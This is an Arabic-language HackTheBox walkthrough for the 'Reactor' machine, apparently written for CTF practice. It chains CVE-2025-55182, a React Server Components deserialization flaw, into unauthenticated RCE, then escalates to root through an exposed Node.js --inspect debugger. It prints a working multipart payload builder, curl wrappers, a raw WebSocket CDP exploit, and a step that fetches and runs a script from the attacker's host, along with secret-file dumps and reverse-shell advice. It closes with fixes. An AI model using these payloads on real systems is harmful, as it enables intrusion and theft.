
دليل كامل لآلة Reactor من HTB — استغلال CVE-2025-55182 للحصول على شل، ثم الحصول على صلاحيات الجذر عبر مصحح أخطاء Node.js مكشوف. خطوة بخطوة مع لقطات شاشة.
[!CAUTION] تحذير من حرق الأحداث. هذا شرح كامل يتضمن الأعلام (flags). إذا كنت تريد حل الجهاز بنفسك، أغلق هذا الآن وعد عندما تتعثر.
| الحقل | التفاصيل |
|---|---|
| الاسم | Reactor |
| نظام التشغيل | Ubuntu 24.04 LTS (Noble) |
| الصعوبة | Medium |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| المنافذ | 22 (SSH), 3000 (Next.js) |
| المؤلف | sonnycroco |
Reactor مبني حول لوحة تحكم لمراقبة محطة نووية تُدعى ReactorWatch. الجهاز بالكامل يدور حول ثغرتين مترابطتين، لا تخمين، لا مسارات وهمية، لا تخمين عنيف.
المسار: بناء ما قبل الإصدار من React 19 يكشف ثغرة خطيرة في إعادة البناء (deserialization) تمنحك تنفيذ كود عن بُعد بدون مصادقة عبر طلب HTTP واحد. ومن هناك، منفذ تصحيح أخطاء Node.js يعمل بصلاحية root يمنحك وصولًا كاملًا للنظام عبر رسالة WebSocket.
سلسلة الهجوم:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
أول شيء تفعله على أي جهاز جديد هو معرفة ما الذي يستمع على المنافذ. قم بفحص شامل للمنافذ مع كشف الخدمات حتى لا يفوتك شيء.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

منفذان فقط. SSH طريق مسدود في هذه المرحلة لأننا لا نملك بيانات اعتماد بعد. المنفذ 3000 هو الهدف. يخبرنا Nmap مسبقًا أنه Next.js 15.0.3، وهي بداية جيدة.
قبل رمي أي استغلالات على أي شيء، أريد معرفة الإصدار الدقيق لكل ما يعمل. ترويسات HTTP كشفت بالفعل عن Next.js، لكن إصدار React هو التفصيل الحرج. كان React 19 في مرحلة ما قبل الإصدار لفترة طويلة وكانت لديه مشاكل خطيرة قبل الإصدار المستقر.
نسحب إحدى قطع JavaScript الخاصة بجانب العميل لفحصها:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
إن وجود rc في سلسلة الإصدار هو الدليل القاطع. هذا بناء مرشح للإصدار النهائي من React 19، وليس النسخة المستقرة. تؤكد قواعد بيانات CVE أن CVE-2025-55182 يصيب هذا البناء بالتحديد. درجة CVSS 10.0.
وبينما نحن هنا، أفحص الترويسات بحثًا عن مؤشرات على وجود middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
لا يوجد ترويسة x-middleware-rewrite في أي مكان، مما يعني أنه لا يوجد middleware مثبت في Next.js. هذا يستبعد CVE-2025-29927 (تجاوز middleware)، وهو أمر جدير بالملاحظة حتى لا تضيّع وقتك عليه.
ما نعرفه:
experimental.serverActions19.0.0-rc، متأثر بـ CVE-2025-55182
قدمت مكونات الخادم في React 19 ما يعرف بـ Server Actions، وهي دوال من جهة الخادم يمكن للعميل استدعاؤها عبر طلب HTTP POST مع ترويسة Next-Action. يحتوي محلل جسم الطلبات متعدد الأجزاء (multipart) الذي يعالج هذه الطلبات على عيب خطير: فهو يعيد بناء (deserialize) بشكل غير آمن نوع مرجع يدعى $1:__proto__:then.
من خلال صياغة جسم multipart يعيّن _response._prefix إلى JavaScript عشوائي، يجعل المهاجم ذلك الكود يُنفَّذ على الخادم. ثم يُهرَّب المخرج عبر استثناء تستخدمه Next.js داخليًا لإعادة التوجيه (NEXT_REDIRECT)، وينتهي به الحال مشفَّرًا برمجيًا (URL-encoded) داخل ترويسة الاستجابة x-action-redirect.
أي طلب POST إلى أي صفحة مع ترويسة Next-Action يفعّل هذا. لا فحص مصادقة، ولا نقطة نهاية خاصة. فقط أرسل الحمولة (payload) إلى / وستكون داخل النظام.
سكربت Python صغير يستقبل أمر شل كمدخل، يبني حمولة multipart، ويكتبها إلى القرص ليرسلها curl:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
للف كل ذلك في دالة شل لإحساس شبه-شل:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
تبادل HTTP الخام. مخرج الأمر موجود مباشرة في ترويسة إعادة التوجيه:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
نحن داخل النظام بحساب خدمة node. لا مصادقة، لا تخمين عنيف، لا هندسة اجتماعية. طلب HTTP POST واحد فقط. هكذا تبدو درجة CVSS 10.0 عمليًا.

[!WARNING] أمران يجب معرفتهما قبل المتابعة:
- إن
execSyncمتزامن (synchronous) ويحجب مؤشر استجابة الخادم. لا تحاول تشغيل شل عكسية (reverse shell) به، استخدمexec()غير المتزامن بدلًا منه وإلا سيتجمد الخادم.- القالب النصي
NEXT_REDIRECTينكسر عند وجود أسطر جديدة. دائمًا مرّر المخرج متعدد الأسطر عبرpaste -sd,لتسطيحه قبل وضعه في الرابط.
nodeمع تأسيس تنفيذ الكود، الهدف التالي هو فهم البيئة: ما الموجود على هذا الجهاز، وما بيانات الاعتماد المبعثرة، وهل يوجد مسار واضح لمستخدم بصلاحيات أعلى.
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
توجد قاعدة بيانات SQLite على القرص. لنتحقق مما بداخلها:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
حساب مدير مع تجزئة MD5. تشغيلها عبر John مع rockyou لا يكسرها. لا بأس، يتبين أن كسر التجزئة غير ضروري بمجرد أن نجد مسار رفع الصلاحيات الحقيقي. سنضع هذا جانبًا ونكمل.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
يوجد مستخدم اسمه engineer. علم المستخدم موجود في مجلده الرئيسي.
[!NOTE] في بعض نسخ هذا الجهاز، يكون للمجلد
/home/engineer/صلاحيات700، ما يعني أن حساب خدمةnodeلا يمكنه قراءته مباشرة. إذا كانت هذه حالتك، لا داعي للذعر. مسار رفع الصلاحيات إلى root المغطى في الخطوة 6 يتيح لك قراءة العلمين بصلاحية root.
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
إذا كان /home/engineer/ مقفلاً في نسختك، انتقل إلى الخطوة 6 واحصل على العلمين بصلاحية root.
بعد تثبيت موطئ قدم، نتحقق من العمليات الجارية على الجهاز. ps aux الكامل طويل لذا نفلتر أي شيء يتعلق بـ Node.js:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
ها هو. عملية Node.js ثانية تعمل بصلاحية root، أُطلقت بعلامة --inspect المرتبطة بـ 127.0.0.1:9229. هذا سكربت مراقبة أوقات التشغيل (uptime) شغّله شخص ما مع تفعيل مصحح أخطاء Node.js وتركه يعمل.
علامة --inspect تفتح بروتوكول Chrome DevTools (CDP)، وهو نفس البروتوكول الذي تستخدمه أدوات المطور في متصفحك. عندما تتصل به، يمكنك أن تطلب من العملية تنفيذ JavaScript عشوائي في سياق V8 الخاص بها. وبما أن هذه العملية تعمل بصلاحية root، فإن أي شيء تنفذه سيعمل بصلاحية root أيضًا.
العائق الوحيد هو أن المصحح مرتبط بـ localhost، لكننا نملك بالفعل تنفيذ كود على الجهاز بصلاحية node لذا يمكننا الوصول إليه دون مشكلة.
نتأكد من أن المصحح يعمل ونلتقط رابط WebSocket:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] المعرف UUID في رابط WebSocket (
1d85ee80-...) فريد لكل عملية. ما لديك سيختلف. انسخه من مخرج JSON وحدّثه في سكربت الاستغلال قبل التشغيل.

لإرسال أمر Runtime.evaluate إلى المصحح، نحتاج عميل WebSocket. حزمة ws غير موجودة على الهدف، لذا نكتب عميلًا بسيطًا من الصفر باستخدام مكونات Node.js المدمجة فقط: net لاتصال TCP وcrypto لإخفاء إطارات WebSocket.
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] داخل استدعاء
Runtime.evaluateعبر CDP، دالةrequire()العادية ليست في النطاق العام، حتى لو كانتworker.jsنفسها وحدة CommonJS. يجب استخدامprocess.mainModule.require(...). استخدامrequire()المجردة سيؤدي إلى خطأ ReferenceError ولن ينتج أي مخرج.
نقدّم السكربت من جهاز الهجوم:
python3 -m http.server 8080 --directory /tmp/www &
ننزّله ونشغّله على الهدف عبر سلسلة RCE:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
الاستجابة:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
ننفذ JavaScript عشوائيًا داخل عملية تعمل بصلاحية uid=0.

نفس الاستغلال، مع أمر مختلف في CMD:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

إجمالي الوقت من أول طلب حتى root: أقل من 10 دقائق بمجرد فهمك للـ CVE. لا تخمين عنيف، لا كسر كلمات مرور، لا مسارات وهمية.
كانت CVE-2025-29927 (تجاوز middleware) رائجة في نفس وقت CVE-2025-55182. تحقق دائمًا من وجود middleware فعليًا قبل اختبار تجاوزه. وجود أو غياب ترويسة الاستجابة x-middleware-rewrite يخبرك فورًا. ملاحقة CVE خاطئة مضيعة سهلة للوقت.
execSync سيعطّل الشلال العكسيةإنه يحجب مؤشر استجابة الخادم بالكامل حتى خروج العملية الفرعية. تشغيل bash -i أو شل netcat عبره سيجمّد الطرفين. استخدم exec() غير المتزامنة من child_process إذا كنت تريد شلًا تفاعليًا من هذا الاستغلال.
يُضمَّن مخرج الأمر داخل قالب نصي JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. أي سطر جديد حرفي في res يكسر القالب ولا يُرجع شيئًا. مرّر كل شيء عبر paste -sd, لدمج الأسطر قبل الإخراج.
require ليست عامة في سياق CDPعند إرسال Runtime.evaluate إلى مصحح Node.js، فإنك تنفذ داخل بيئة V8 معزولة لا تكشف دالة require الخاصة بـ CommonJS على النطاق العام، حتى لو كانت العملية الهدف نفسها وحدة CommonJS. استخدم دائمًا process.mainModule.require("module") داخل تعبيرات CDP.
في بعض نسخ هذا الجهاز، يستطيع حساب خدمة node قراءة /home/engineer/user.txt مباشرة. وفي نسخ أخرى، تمنعه صلاحيات 700 على المجلد الرئيسي. مسار رفع الصلاحيات إلى root يعمل دائمًا ويمنحك العلمين في كل الأحوال.
| الثغرة | الإصلاح |
|---|
| CVE-2025-55182 | قم بترقية React من 19.0.0-rc إلى إصدار React 19 المستقر. قم بترقية Next.js إلى الإصدار 15.2.3 أو أعلى. |
Node.js --inspect بصلاحية root | أزل --inspect من جميع عمليات الإنتاج تمامًا. لا تربط المصحح بأي عنوان، حتى 127.0.0.1، على الأنظمة المشتركة. استخدم بيئة معزولة مخصصة للتصحيح. |
| قاعدة بيانات SQLite في مجلد التطبيق | انقل قاعدة البيانات خارج جذر الويب. قيّد صلاحيات نظام الملفات بحيث لا تستطيع عملية الويب الوصول إلا إلى ما تحتاجه بدقة. |